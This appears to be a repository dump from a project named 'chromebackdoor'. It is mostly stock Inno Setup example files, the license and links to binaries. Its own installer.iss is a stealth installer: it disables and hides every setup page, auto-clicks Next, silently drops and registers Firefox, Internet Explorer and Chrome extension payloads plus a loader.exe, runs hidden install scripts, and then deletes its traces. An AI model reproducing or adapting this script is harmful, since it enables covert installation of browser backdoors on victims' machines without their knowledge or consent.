40 | # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "MYDLL_EXPORTS" /YX /FD /c
41 | # ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "MYDLL_EXPORTS" /YX /FD /c
42 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
43 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
44 | # ADD BASE RSC /l 0x413 /d "NDEBUG"
45 | # ADD RSC /l 0x413 /d "NDEBUG"
46 | BSC32=bscmake.exe
47 | # ADD BASE BSC32 /nologo
48 | # ADD BSC32 /nologo
49 | LINK32=link.exe
50 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
51 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
52 | # Begin Target
53 |
54 | # Name "MyDll - Win32 Release"
55 | # Begin Group "Source Files"
56 |
57 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
58 | # Begin Source File
59 |
60 | SOURCE=.\MyDll.c
61 | # End Source File
62 | # Begin Source File
63 |
64 | SOURCE=.\MyDll.def
65 | # End Source File
66 | # End Group
67 | # Begin Group "Header Files"
68 |
69 | # PROP Default_Filter "h;hpp;hxx;hm;inl"
70 | # End Group
71 | # Begin Group "Resource Files"
72 |
73 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
74 | # End Group
75 | # End Target
76 | # End Project
77 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyDll/Delphi/MyDll.dpr:
--------------------------------------------------------------------------------
1 | library MyDll;
2 |
3 | uses
4 | Windows;
5 |
6 | procedure MyDllFunc(hWnd: Integer; lpText, lpCaption: PAnsiChar; uType: Cardinal); stdcall;
7 | begin
8 | MessageBoxA(hWnd, lpText, lpCaption, uType);
9 | end;
10 |
11 | exports MyDllFunc;
12 |
13 | begin
14 | end.
15 |
--------------------------------------------------------------------------------
/installer/inno/Examples/MyProg-x64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg-x64.exe
--------------------------------------------------------------------------------
/installer/inno/Examples/MyProg.chm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg.chm
--------------------------------------------------------------------------------
/installer/inno/Examples/MyProg.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyProg.exe
--------------------------------------------------------------------------------
/installer/inno/Examples/Readme-Dutch.txt:
--------------------------------------------------------------------------------
1 | Dit is het Leesmij bestand voor My Program.
--------------------------------------------------------------------------------
/installer/inno/Examples/Readme-German.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/Readme-German.txt
--------------------------------------------------------------------------------
/installer/inno/Examples/Readme.txt:
--------------------------------------------------------------------------------
1 | This is the README file for My Program.
2 |
--------------------------------------------------------------------------------
/installer/inno/Examples/UninstallCodeExample1.iss:
--------------------------------------------------------------------------------
1 | ; -- UninstallCodeExample1.iss --
2 | ;
3 | ; This script shows various things you can achieve using a [Code] section for Uninstall
4 |
5 | [Setup]
6 | AppName=My Program
7 | AppVersion=1.5
8 | DefaultDirName={pf}\My Program
9 | DefaultGroupName=My Program
10 | UninstallDisplayIcon={app}\MyProg.exe
11 | OutputDir=userdocs:Inno Setup Examples Output
12 |
13 | [Files]
14 | Source: "MyProg.exe"; DestDir: "{app}"
15 | Source: "MyProg.chm"; DestDir: "{app}"
16 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
17 |
18 | [Code]
19 | function InitializeUninstall(): Boolean;
20 | begin
21 | Result := MsgBox('InitializeUninstall:' #13#13 'Uninstall is initializing. Do you really want to start Uninstall?', mbConfirmation, MB_YESNO) = idYes;
22 | if Result = False then
23 | MsgBox('InitializeUninstall:' #13#13 'Ok, bye bye.', mbInformation, MB_OK);
24 | end;
25 |
26 | procedure DeinitializeUninstall();
27 | begin
28 | MsgBox('DeinitializeUninstall:' #13#13 'Bye bye!', mbInformation, MB_OK);
29 | end;
30 |
31 | procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep);
32 | begin
33 | case CurUninstallStep of
34 | usUninstall:
35 | begin
36 | MsgBox('CurUninstallStepChanged:' #13#13 'Uninstall is about to start.', mbInformation, MB_OK)
37 | // ...insert code to perform pre-uninstall tasks here...
38 | end;
39 | usPostUninstall:
40 | begin
41 | MsgBox('CurUninstallStepChanged:' #13#13 'Uninstall just finished.', mbInformation, MB_OK);
42 | // ...insert code to perform post-uninstall tasks here...
43 | end;
44 | end;
45 | end;
46 |
--------------------------------------------------------------------------------
/installer/inno/ISCC.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISCC.exe
--------------------------------------------------------------------------------
/installer/inno/ISCmplr.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISCmplr.dll
--------------------------------------------------------------------------------
/installer/inno/ISPP.chm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISPP.chm
--------------------------------------------------------------------------------
/installer/inno/ISPP.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISPP.dll
--------------------------------------------------------------------------------
/installer/inno/ISetup.chm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/ISetup.chm
--------------------------------------------------------------------------------
/installer/inno/Languages/BrazilianPortuguese.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/BrazilianPortuguese.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Catalan.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Catalan.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Corsican.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Corsican.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Czech.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Czech.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Danish.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Danish.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Dutch.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Dutch.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Finnish.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Finnish.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/French.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/French.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/German.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/German.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Greek.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Greek.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Hebrew.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Hebrew.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Hungarian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Hungarian.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Italian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Italian.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Japanese.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Japanese.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Norwegian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Norwegian.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Polish.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Polish.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Portuguese.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Portuguese.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Russian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Russian.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/ScottishGaelic.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/ScottishGaelic.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/SerbianCyrillic.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/SerbianCyrillic.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/SerbianLatin.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/SerbianLatin.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Slovenian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Slovenian.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Spanish.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Spanish.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Turkish.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Turkish.isl
--------------------------------------------------------------------------------
/installer/inno/Languages/Ukrainian.isl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Languages/Ukrainian.isl
--------------------------------------------------------------------------------
/installer/inno/Setup.e32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Setup.e32
--------------------------------------------------------------------------------
/installer/inno/SetupLdr.e32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/SetupLdr.e32
--------------------------------------------------------------------------------
/installer/inno/WizModernImage-IS.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernImage-IS.bmp
--------------------------------------------------------------------------------
/installer/inno/WizModernImage.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernImage.bmp
--------------------------------------------------------------------------------
/installer/inno/WizModernSmallImage-IS.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernSmallImage-IS.bmp
--------------------------------------------------------------------------------
/installer/inno/WizModernSmallImage.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/WizModernSmallImage.bmp
--------------------------------------------------------------------------------
/installer/inno/isbunzip.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isbunzip.dll
--------------------------------------------------------------------------------
/installer/inno/isbzip.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isbzip.dll
--------------------------------------------------------------------------------
/installer/inno/islzma.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma.dll
--------------------------------------------------------------------------------
/installer/inno/islzma32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma32.exe
--------------------------------------------------------------------------------
/installer/inno/islzma64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/islzma64.exe
--------------------------------------------------------------------------------
/installer/inno/isscint.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isscint.dll
--------------------------------------------------------------------------------
/installer/inno/isunzlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/isunzlib.dll
--------------------------------------------------------------------------------
/installer/inno/iszlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/iszlib.dll
--------------------------------------------------------------------------------
/installer/inno/license.txt:
--------------------------------------------------------------------------------
1 | Inno Setup License
2 | ==================
3 |
4 | Except where otherwise noted, all of the documentation and software included
5 | in the Inno Setup package is copyrighted by Jordan Russell.
6 |
7 | Copyright (C) 1997-2016 Jordan Russell. All rights reserved.
8 | Portions Copyright (C) 2000-2016 Martijn Laan. All rights reserved.
9 |
10 | This software is provided "as-is," without any express or implied warranty.
11 | In no event shall the author be held liable for any damages arising from the
12 | use of this software.
13 |
14 | Permission is granted to anyone to use this software for any purpose,
15 | including commercial applications, and to alter and redistribute it,
16 | provided that the following conditions are met:
17 |
18 | 1. All redistributions of source code files must retain all copyright
19 | notices that are currently in place, and this list of conditions without
20 | modification.
21 |
22 | 2. All redistributions in binary form must retain all occurrences of the
23 | above copyright notice and web site addresses that are currently in
24 | place (for example, in the About boxes).
25 |
26 | 3. The origin of this software must not be misrepresented; you must not
27 | claim that you wrote the original software. If you use this software to
28 | distribute a product, an acknowledgment in the product documentation
29 | would be appreciated but is not required.
30 |
31 | 4. Modified versions in source or binary form must be plainly marked as
32 | such, and must not be misrepresented as being the original software.
33 |
34 |
35 | Jordan Russell
36 | jr-2010 AT jrsoftware.org
37 | http://www.jrsoftware.org/
38 |
--------------------------------------------------------------------------------
/installer/inno/unins000.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.dat
--------------------------------------------------------------------------------
/installer/inno/unins000.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.exe
--------------------------------------------------------------------------------
/installer/inno/unins000.msg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/unins000.msg
--------------------------------------------------------------------------------
/installer/installer.iss:
--------------------------------------------------------------------------------
1 |
2 | [Setup]
3 | AppId="Installer"
4 | AppPublisher="Installer Publisher"
5 | AppName="Extensions"
6 | AppVerName="Extensions-0.3.5.12"
7 | VersionInfoVersion="0.3.5.12"
8 | DefaultDirName={localappdata}\extensions_test\0.3.5.12
9 | OutputBaseFilename=setup
10 | PrivilegesRequired="admin"
11 |
12 | DisableStartupPrompt=yes
13 | DisableDirPage=yes
14 | DisableFinishedPage=yes
15 | DisableProgramGroupPage=yes
16 | DisableReadyMemo=yes
17 | DisableReadyPage=yes
18 | DisableWelcomePage=yes
19 | AllowNoIcons=yes
20 | OutputDir=.
21 | Compression=lzma
22 | SolidCompression=yes
23 |
24 |
25 | [Files]
26 | Source: "ff\*.xpi"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
27 | Source: "ff\install.cmd"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
28 | Source: "ff\ff.js"; DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
29 |
30 | Source: "ie\bhoX32.dll"; DestDir: "{app}\i"; Flags: regserver 32bit replacesameversion skipifsourcedoesntexist;
31 | Source: "ie\bhoX64.dll"; DestDir: "{app}\i"; Flags: regserver 64bit replacesameversion skipifsourcedoesntexist; Check: IsWin64;
32 | Source: "ie\script.js"; DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist;
33 | Source: "ie\install.cmd"; DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist;
34 |
35 | Source: "ch\install.cmd"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
36 | Source: "ch\test.crx"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
37 | Source: "ch\loader.exe"; DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
38 |
39 | Source: "del.cmd"; DestDir: "{app}"; Flags: replacesameversion;
40 |
41 | [Run]
42 | Filename: "{app}\c\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
43 | Filename: "{app}\f\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
44 | Filename: "{app}\i\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
45 | Filename: "{app}\del.cmd"; Parameters: """{srcexe}"" ""{app}\f"" ""{app}\c"" ""{app}\i\install.cmd"""; Flags: shellexec runhidden nowait skipifdoesntexist
46 |
47 | [Code]
48 | const
49 | BN_CLICKED = 0;
50 | WM_COMMAND = $0111;
51 | CN_BASE = $BC00;
52 | CN_COMMAND = CN_BASE + WM_COMMAND;
53 | WM_SHOWWINDOW = $0018;
54 | CN_HIDE = CN_BASE + WM_SHOWWINDOW;
55 |
56 | procedure CurPageChanged(CurPageID: Integer);
57 | var
58 | Param: Longint;
59 | begin
60 | // send hide to every window
61 | PostMessage(WizardForm, CN_HIDE, 0, 0);
62 | // if we are on the ready page, then...
63 | if CurPageID = wpReady then
64 | begin
65 | // the result of this is 0, just to be precise...
66 | Param := 0 or BN_CLICKED shl 16;
67 | // post the click notification message to the next button
68 | PostMessage(WizardForm.NextButton.Handle, CN_COMMAND, Param, 0);
69 | end;
70 | end;
71 |
--------------------------------------------------------------------------------
/version.txt:
--------------------------------------------------------------------------------
1 | 3.0
2 |
--------------------------------------------------------------------------------